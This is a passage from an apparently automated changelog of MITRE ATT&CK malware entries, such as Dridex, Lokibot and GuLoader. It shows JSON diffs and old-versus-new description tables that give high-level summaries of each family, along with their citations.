"mitre-attack", "url": "https://attack.mitre.org/software/S0234", "external_id": "S0234" }, { "source_name": "EFF Manul Aug 2016", "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" }, { "source_name": "Lookout Dark Caracal Jan 2018", "description": "Blaich, A., et al. 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Old Description
New Description
t1[Bandook](https://attack.mitre.org/software/S0234) is a commt1[Bandook](https://attack.mitre.org/software/S0234) is a comm
>ercially available RAT, written in Delphi, which has been av>ercially available RAT, written in Delphi and C++, that has 
>ailable since roughly 2007  (Citation: EFF Manul Aug 2016) (>been available since at least 2007. It has been used against
>Citation: Lookout Dark Caracal Jan 2018).> government, financial, energy, healthcare, education, IT, a
 >nd legal organizations in the US, South America, Europe, and
 > Southeast Asia. [Bandook](https://attack.mitre.org/software
 >/S0234) has been used by [Dark Caracal](https://attack.mitre
 >.org/groups/G0070), as well as in a separate campaign referr
 >ed to as \"Operation Manul\".(Citation: EFF Manul Aug 2016)(Ci
 >tation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint 
 >Bandook Nov 2020)
" }, { "type": "malware", "id": "malware--f36b2598-515f-4345-84e5-5ccde253edbe", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-10-17 00:14:20.652000+00:00", "modified": "2021-10-12 11:26:16.316000+00:00", "name": "Dok", "description": "[Dok](https://attack.mitre.org/software/S0281) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)).(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)(Citation: CheckPoint Dok)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0281", "external_id": "S0281" }, { "source_name": "Dok", "description": "(Citation: objsee mac malware 2017)" }, { "source_name": "Retefe", "description": "(Citation: objsee mac malware 2017)." }, { "source_name": "objsee mac malware 2017", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "url": "https://objective-see.com/blog/blog_0x25.html" }, { "source_name": "hexed osx.dok analysis 2019", "description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021.", "url": "http://www.hexed.in/2019/07/osxdok-analysis.html" }, { "source_name": "CheckPoint Dok", "description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.", "url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Dok", "Retefe" ], "x_mitre_platforms": [ "macOS" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 11:26:16.316000+00:00\", \"old_value\": \"2020-03-19 19:08:28.695000+00:00\"}, \"root['description']\": {\"new_value\": \"[Dok](https://attack.mitre.org/software/S0281) is a Trojan application disguised as a .zip file that is able to collect user credentials and install a malicious proxy server to redirect a user's network traffic (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)).(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)(Citation: CheckPoint Dok)\", \"old_value\": \"[Dok](https://attack.mitre.org/software/S0281) steals banking information through man-in-the-middle (Citation: objsee mac malware 2017).\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"(Citation: objsee mac malware 2017)\", \"old_value\": \"(Citation: objsee mac malware 2017).\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"hexed osx.dok analysis 2019\", \"description\": \"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021.\", \"url\": \"http://www.hexed.in/2019/07/osxdok-analysis.html\"}, \"root['external_references'][5]\": {\"source_name\": \"CheckPoint Dok\", \"description\": \"Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.\", \"url\": \"https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Dok](https://attack.mitre.org/software/S0281) steals bankint1[Dok](https://attack.mitre.org/software/S0281) is a Trojan a
>g information through man-in-the-middle  (Citation: objsee m>pplication disguised as a .zip file that is able to collect 
>ac malware 2017).>user credentials and install a malicious proxy server to red
 >irect a user's network traffic (i.e. [Adversary-in-the-Middl
 >e](https://attack.mitre.org/techniques/T1557)).(Citation: ob
 >jsee mac malware 2017)(Citation: hexed osx.dok analysis 2019
 >)(Citation: CheckPoint Dok)
" }, { "type": "malware", "id": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-05-30 19:47:37.192000+00:00", "modified": "2021-10-01 20:30:30.043000+00:00", "name": "Dridex", "description": "[Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0384", "external_id": "S0384" }, { "source_name": "Dridex", "description": "(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Checkpoint Dridex Jan 2021)" }, { "source_name": "Bugat v5", "description": "(Citation: Dell Dridex Oct 2015)" }, { "source_name": "Dell Dridex Oct 2015", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.", "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation" }, { "source_name": "Kaspersky Dridex May 2017", "description": "Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.", "url": "https://securelist.com/dridex-a-history-of-evolution/78531/" }, { "source_name": "Treasury EvilCorp Dec 2019", "description": "U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.", "url": "https://home.treasury.gov/news/press-releases/sm845" }, { "source_name": "Checkpoint Dridex Jan 2021", "description": "Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.", "url": "https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Dridex", "Bugat v5" ], "x_mitre_contributors": [ "Daniyal Naeem, BT Security" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Daniyal Naeem, BT Security\"]}, \"dictionary_item_removed\": {\"root['external_references'][2]['url']\": \"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-01 20:30:30.043000+00:00\", \"old_value\": \"2020-03-30 16:20:01.787000+00:00\"}, \"root['description']\": {\"new_value\": \"[Dridex](https://attack.mitre.org/software/S0384) is a prolific banking Trojan that first appeared in 2014. By December 2019, the US Treasury estimated [Dridex](https://attack.mitre.org/software/S0384) had infected computers in hundreds of banks and financial institutions in over 40 countries, leading to more than $100 million in theft. [Dridex](https://attack.mitre.org/software/S0384) was created from the source code of the Bugat banking Trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Treasury EvilCorp Dec 2019)\", \"old_value\": \"[Dridex](https://attack.mitre.org/software/S0384) is a banking Trojan that has been used for financial gain. Dridex was created from the source code of the Bugat banking trojan (also known as Cridex).(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)\"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"Dridex\", \"old_value\": \"Bugat v5\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"(Citation: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 2017)(Citation: Checkpoint Dridex Jan 2021)\", \"old_value\": \"(Citation: Dell Dridex Oct 2015)\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"Bugat v5\", \"old_value\": \"Dell Dridex Oct 2015\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"(Citation: Dell Dridex Oct 2015)\", \"old_value\": \"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Dell Dridex Oct 2015\", \"old_value\": \"Kaspersky Dridex May 2017\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.\", \"old_value\": \"Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation\", \"old_value\": \"https://securelist.com/dridex-a-history-of-evolution/78531/\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Kaspersky Dridex May 2017\", \"description\": \"Slepogin, N. (2017, May 25). Dridex: A History of Evolution. Retrieved May 31, 2019.\", \"url\": \"https://securelist.com/dridex-a-history-of-evolution/78531/\"}, \"root['external_references'][5]\": {\"source_name\": \"Treasury EvilCorp Dec 2019\", \"description\": \"U.S. Department of Treasury. (2019, December 5). Treasury Sanctions Evil Corp, the Russia-Based Cybercriminal Group Behind Dridex Malware. Retrieved September 15, 2021.\", \"url\": \"https://home.treasury.gov/news/press-releases/sm845\"}, \"root['external_references'][6]\": {\"source_name\": \"Checkpoint Dridex Jan 2021\", \"description\": \"Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.\", \"url\": \"https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Dridex](https://attack.mitre.org/software/S0384) is a bankit1[Dridex](https://attack.mitre.org/software/S0384) is a proli
>ng Trojan that has been used for financial gain. Dridex was >fic banking Trojan that first appeared in 2014. By December 
>created from the source code of the Bugat banking trojan (al>2019, the US Treasury estimated [Dridex](https://attack.mitr
>so known as Cridex).(Citation: Dell Dridex Oct 2015)(Citatio>e.org/software/S0384) had infected computers in hundreds of 
>n: Kaspersky Dridex May 2017)>banks and financial institutions in over 40 countries, leadi
 >ng to more than $100 million in theft. [Dridex](https://atta
 >ck.mitre.org/software/S0384) was created from the source cod
 >e of the Bugat banking Trojan (also known as Cridex).(Citati
 >on: Dell Dridex Oct 2015)(Citation: Kaspersky Dridex May 201
 >7)(Citation: Treasury EvilCorp Dec 2019)
" }, { "type": "malware", "id": "malware--45c759ac-b490-48bb-80d4-c8eee3431027", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-01-11 20:49:20.832000+00:00", "modified": "2021-10-15 19:14:33.244000+00:00", "name": "GuLoader", "description": "[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0561", "external_id": "S0561" }, { "source_name": "Unit 42 NETWIRE April 2020", "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021.", "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/" }, { "source_name": "Medium Eli Salem GuLoader April 2021", "description": "Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021.", "url": "https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "GuLoader" ], "x_mitre_contributors": [ "Eli Salem, @elisalem9" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Eli Salem, @elisalem9\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 19:14:33.244000+00:00\", \"old_value\": \"2021-04-20 21:06:08.972000+00:00\"}, \"root['description']\": {\"new_value\": \"[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)\", \"old_value\": \"[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198).(Citation: Unit 42 NETWIRE April 2020)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Medium Eli Salem GuLoader April 2021\", \"description\": \"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021.\", \"url\": \"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[GuLoader](https://attack.mitre.org/software/S0561) is a filt1[GuLoader](https://attack.mitre.org/software/S0561) is a fil
>e downloader that has been used since at least December 2019>e downloader that has been used since at least December 2019
> to distribute a variety of remote administration tool (RAT)> to distribute a variety of remote administration tool (RAT)
> malware, including [NETWIRE](https://attack.mitre.org/softw> malware, including [NETWIRE](https://attack.mitre.org/softw
>are/S0198).(Citation: Unit 42 NETWIRE April 2020)>are/S0198), [Agent Tesla](https://attack.mitre.org/software/
 >S0331), [NanoCore](https://attack.mitre.org/software/S0336),
 > FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April
 > 2020)(Citation: Medium Eli Salem GuLoader April 2021)
" }, { "type": "malware", "id": "malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2021-03-02 13:38:32.673000+00:00", "modified": "2021-10-15 21:53:54.011000+00:00", "name": "Kerrdown", "description": "[Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0585", "external_id": "S0585" }, { "source_name": "Amnesty Intl. Ocean Lotus February 2021", "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021.", "url": "https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf" }, { "source_name": "Unit 42 KerrDown February 2019", "description": "Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus\u2019 new Downloader, KerrDown. Retrieved October 1, 2021.", "url": "https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Kerrdown" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 21:53:54.011000+00:00\", \"old_value\": \"2021-03-02 13:57:47.488000+00:00\"}, \"root['description']\": {\"new_value\": \"[Kerrdown](https://attack.mitre.org/software/S0585) is a custom downloader that has been used by [APT32](https://attack.mitre.org/groups/G0050) since at least 2018 to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown February 2019)\", \"old_value\": \"[Kerrdown](https://attack.mitre.org/software/S0585) is a downloader used by [APT32](https://attack.mitre.org/groups/G0050) to install spyware from a server on the victim's network.(Citation: Amnesty Intl. Ocean Lotus February 2021)\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf\", \"old_value\": \"https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Unit 42 KerrDown February 2019\", \"description\": \"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus\\u2019 new Downloader, KerrDown. Retrieved October 1, 2021.\", \"url\": \"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Kerrdown](https://attack.mitre.org/software/S0585) is a dowt1[Kerrdown](https://attack.mitre.org/software/S0585) is a cus
>nloader used by [APT32](https://attack.mitre.org/groups/G005>tom downloader that has been used by [APT32](https://attack.
>0) to install spyware from a server on the victim's network.>mitre.org/groups/G0050) since at least 2018 to install spywa
>(Citation: Amnesty Intl. Ocean Lotus February 2021)>re from a server on the victim's network.(Citation: Amnesty 
 >Intl. Ocean Lotus February 2021)(Citation: Unit 42 KerrDown 
 >February 2019)
" }, { "type": "malware", "id": "malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-14 17:31:33.707000+00:00", "modified": "2021-10-11 17:43:38.029000+00:00", "name": "Lokibot", "description": "[Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020)", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0447", "external_id": "S0447" }, { "source_name": "Lokibot", "description": "(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: Talos Lokibot Jan 2021)" }, { "source_name": "Infoblox Lokibot January 2019", "description": "Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020.", "url": "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22" }, { "source_name": "Morphisec Lokibot April 2020", "description": "Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020.", "url": "https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode" }, { "source_name": "CISA Lokibot September 2020", "description": "DHS/CISA. (2020, September 22). Alert (AA20-266A) LokiBot Malware . Retrieved September 15, 2021.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-266a" }, { "source_name": "Talos Lokibot Jan 2021", "description": "Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021.", "url": "https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Lokibot" ], "x_mitre_contributors": [ "Daniyal Naeem, BT Security" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Daniyal Naeem, BT Security\"]}, \"dictionary_item_removed\": {\"root['external_references'][1]['url']\": \"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-11 17:43:38.029000+00:00\", \"old_value\": \"2020-05-18 22:00:40.499000+00:00\"}, \"root['description']\": {\"new_value\": \"[Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020)\", \"old_value\": \"[Lokibot](https://attack.mitre.org/software/S0447) is a malware designed to collect credentials and security tokens from an infected machine. [Lokibot](https://attack.mitre.org/software/S0447) has also been used to establish backdoors in enterprise environments.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)\"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"Lokibot\", \"old_value\": \"Infoblox Lokibot January 2019\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: Talos Lokibot Jan 2021)\", \"old_value\": \"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020.\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"Infoblox Lokibot January 2019\", \"old_value\": \"Morphisec Lokibot April 2020\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Hoang, M. (2019, January 31). Malicious Activity Report: Elements of Lokibot Infostealer. Retrieved May 15, 2020.\", \"old_value\": \"Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--22\", \"old_value\": \"https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Morphisec Lokibot April 2020\", \"description\": \"Cheruku, H. (2020, April 15). LOKIBOT WITH AUTOIT OBFUSCATOR + FRENCHY SHELLCODE. Retrieved May 14, 2020.\", \"url\": \"https://blog.morphisec.com/lokibot-with-autoit-obfuscator-frenchy-shellcode\"}, \"root['external_references'][4]\": {\"source_name\": \"CISA Lokibot September 2020\", \"description\": \"DHS/CISA. (2020, September 22). Alert (AA20-266A) LokiBot Malware . Retrieved September 15, 2021.\", \"url\": \"https://us-cert.cisa.gov/ncas/alerts/aa20-266a\"}, \"root['external_references'][5]\": {\"source_name\": \"Talos Lokibot Jan 2021\", \"description\": \"Muhammad, I., Unterbrink, H.. (2021, January 6). A Deep Dive into Lokibot Infection Chain. Retrieved August 31, 2021.\", \"url\": \"https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 2.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Lokibot](https://attack.mitre.org/software/S0447) is a malwt1[Lokibot](https://attack.mitre.org/software/S0447) is a wide
>are designed to collect credentials and security tokens from>ly distributed information stealer that was first reported i
> an infected machine. [Lokibot](https://attack.mitre.org/sof>n 2015. It is designed to steal sensitive information such a
>tware/S0447) has also been used to establish backdoors in en>s usernames, passwords, cryptocurrency wallets, and other cr
>terprise environments.(Citation: Infoblox Lokibot January 20>edentials. [Lokibot](https://attack.mitre.org/software/S0447
>19)(Citation: Morphisec Lokibot April 2020)>) can also create a backdoor into infected systems to allow 
 >an attacker to install additional payloads.(Citation: Infobl
 >ox Lokibot January 2019)(Citation: Morphisec Lokibot April 2
 >020)(Citation: CISA Lokibot September 2020)
" }, { "type": "malware", "id": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-26 17:34:19.044000+00:00", "modified": "2021-09-27 19:32:33.491000+00:00", "name": "Metamorfo", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) ", "revoked": false, "labels": [ "malware" ], "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0455", "external_id": "S0455" }, { "source_name": "Metamorfo", "description": "(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) " }, { "source_name": "Casbaneiro", "description": "(Citation: ESET Casbaneiro Oct 2019)" }, { "source_name": "Medium Metamorfo Apr 2020", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767" }, { "source_name": "ESET Casbaneiro Oct 2019", "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.", "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_aliases": [ "Metamorfo", "Casbaneiro" ], "x_mitre_contributors": [ "Jose Luis S\u00e1nchez Martinez", "Chen Erlich, @chen_erlich, enSilo" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "2.0", "detailed_diff": "{\"dictionary_item_removed\": {\"root['external_references'][2]['url']\": \"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-27 19:32:33.491000+00:00\", \"old_value\": \"2020-10-22 01:34:57.793000+00:00\"}, \"root['description']\": {\"new_value\": \"[Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) \", \"old_value\": \"[Metamorfo](https://attack.mitre.org/software/S0455) is a banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting mostly Brazilian users.(Citation: Medium Metamorfo Apr 2020)\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) \", \"old_value\": \"(Citation: Medium Metamorfo Apr 2020)\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"Casbaneiro\", \"old_value\": \"Medium Metamorfo Apr 2020\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"(Citation: ESET Casbaneiro Oct 2019)\", \"old_value\": \"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][3]\": {\"source_name\": \"Medium Metamorfo Apr 2020\", \"description\": \"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.\", \"url\": \"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767\"}, \"root['external_references'][4]\": {\"source_name\": \"ESET Casbaneiro Oct 2019\", \"description\": \"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking 